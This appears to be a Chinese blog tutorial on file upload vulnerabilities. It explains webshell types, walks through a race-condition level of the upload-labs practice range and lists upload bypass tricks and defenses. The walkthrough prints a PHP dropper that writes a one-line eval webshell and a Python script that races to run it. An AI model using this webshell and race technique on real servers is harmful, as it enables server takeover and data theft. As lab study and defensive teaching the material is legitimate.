文件上传漏洞及防御

一,什么是文件上传漏洞

       文件上传漏洞是指网站或应用程序中存在的一种安全漏洞,攻击者可以利用该漏洞向服务器上传恶意文件。通过文件上传漏洞,攻击者可以上传包含恶意代码的文件,如Web shell、恶意脚本、恶意软件等,从而获取服务器的控制权或执行恶意操作。这可能导致服务器被入侵、敏感数据泄露、服务拒绝等安全问题。通常,攻击者利用文件上传漏洞来执行远程代码,控制服务器或网站,进而实施更广泛的攻击。

危害:

  1. 挂接黑链;
  2. 挖矿;
  3. 文件数据泄露;

二,Webshell

Web shell是一种恶意代码,通常是一段服务器端脚本,可以被黑客上传到受攻击的Web服务器上。一旦成功上传并执行,Web shell可以提供黑客与服务器之间的交互式命令行界面,使黑客能够执行各种操作,如文件操作、系统命令执行、数据库操作等。

Web shell的功能包括但不限于以下几点:

  • 文件管理:可以查看、上传、下载、编辑服务器上的文件。
  • 系统命令执行:可以执行系统命令,如查看系统信息、执行Shell命令等。
  • 数据库操作:可以连接数据库并执行数据库操作。
  • 网站操作:可以修改网站文件、植入恶意代码、篡改网页等。
  • 信息收集:可以获取服务器信息、用户信息、敏感数据等。

Web shell通常被黑客用于获取服务器控制权、窃取敏感信息、传播恶意软件等恶意活动。防范Web shell的方法包括对服务器进行定期安全审计、限制文件上传类型、加强访问控制、定期更新系统和应用程序等。及时发现并清除Web shell对于维护服务器安全至关重要。

webshell主要分为以下三类;

一句话木马(主要特点);

  • 代码短,一般只有一行代码
  • 场景多,可以单独生成文件,也可以插入到图片中
  • 安全性高,隐匿性强,可变形免杀

小马;

  • 体积小,功能少。只有文件上传功能

大马;

  • 体积大,功能全。能够管理数据库、文件管理、 对站点进行快速的信息收集,甚至能够提权

三,文件上传靶场(upload-labs)

这里以upload-labs的18关为例;

首先查看源码;

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

发现这一关是首先将文件上传到后端服务器;然后再使用rname(),修改名称;再删除文件;

利用方法:使用 burp 或者 python 脚本对要上传的文件路径进行不断的访(upload/nbshell.php),上传一个 nb shell.php ,但访问该文件,会在目录下生成一 个 huan.php
nbshell.php的内容为:
<?php
fputs(fopen('huan.php','w'),'<?php @eval($_POST["huan"])?>');
?>

首先使用burp抓包;

使用intruder模块不断发起请求(不设置payload),

怎加并发线程数;

然后编写python脚本,使其不断访问nbshell.php,使其产生新的文件huan.php

python脚本;

import requests
url = "http://localhost/upload-labs/upload/nbshell.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("ok")
        break

首先运行burp,发起请求,再运行python脚本;

然后观察到python运行成功;

查看上传的文件,发现存在huan.php;说明上传成功;

然后使用中国蚁剑尝试连接;

可以看到连接成功;然后添加数据进行访问(这样就可以通关);

(这里仅仅对18关进行演示)

四,文件上传漏洞的利用

1,找到文件上传的位置,通过提供的上传文件的接口(不一定);

2,尝试绕过,成功上传文件;

常见的绕过方式;

  • 删除/禁用前端JavaScript;
  • 抓包修改;
  • 等价扩展名;
  • 大小写绕过;
  • 双写;
  • 截断(%00);
  • 图片马的绕过;

3,获得文件的位置;

4,使用蚁剑进行连接;

五,文件上传的防御

文件上传漏洞是一种常见的Web应用程序安全问题,攻击者可以利用这种漏洞上传恶意文件到服务器,从而执行恶意代码或篡改数据。以下是一些防御文件上传漏洞的方法:

1. 文件类型检查:在上传文件时,验证文件的类型和扩展名,只允许上传安全的文件类型,如图片、文档等。可以通过检查文件的MIME类型或文件扩展名来进行验证。

2. 文件大小限制:限制上传文件的大小,避免上传过大的文件导致服务器资源耗尽。可以设置最大文件大小的限制,超过限制的文件将被拒绝上传。

3. 文件名检查(扩展名):对上传的文件名进行检查,避免使用特殊字符或恶意代码。可以对文件名进行过滤或重命名,确保文件名安全。

4. 文件内容检查:对上传的文件内容进行检查,确保文件不包含恶意代码或脚本。可以使用文件扫描工具对上传的文件进行检测,以识别潜在的恶意代码。

5. 存储路径隔离(不要暴露上传的路径):将上传的文件存储在独立的目录中,避免上传文件直接存储在Web根目录下。这样可以防止恶意文件被直接执行或访问。

6. 文件权限设置:设置上传文件的权限,确保只有必要的用户可以访问上传的文件。避免设置过于宽松的文件权限,以防止恶意用户访问或执行上传的文件。

通过以上方法结合使用,可以有效防御文件上传漏洞,保护Web应用程序的安全。

  • 23
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

慕舟舟

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值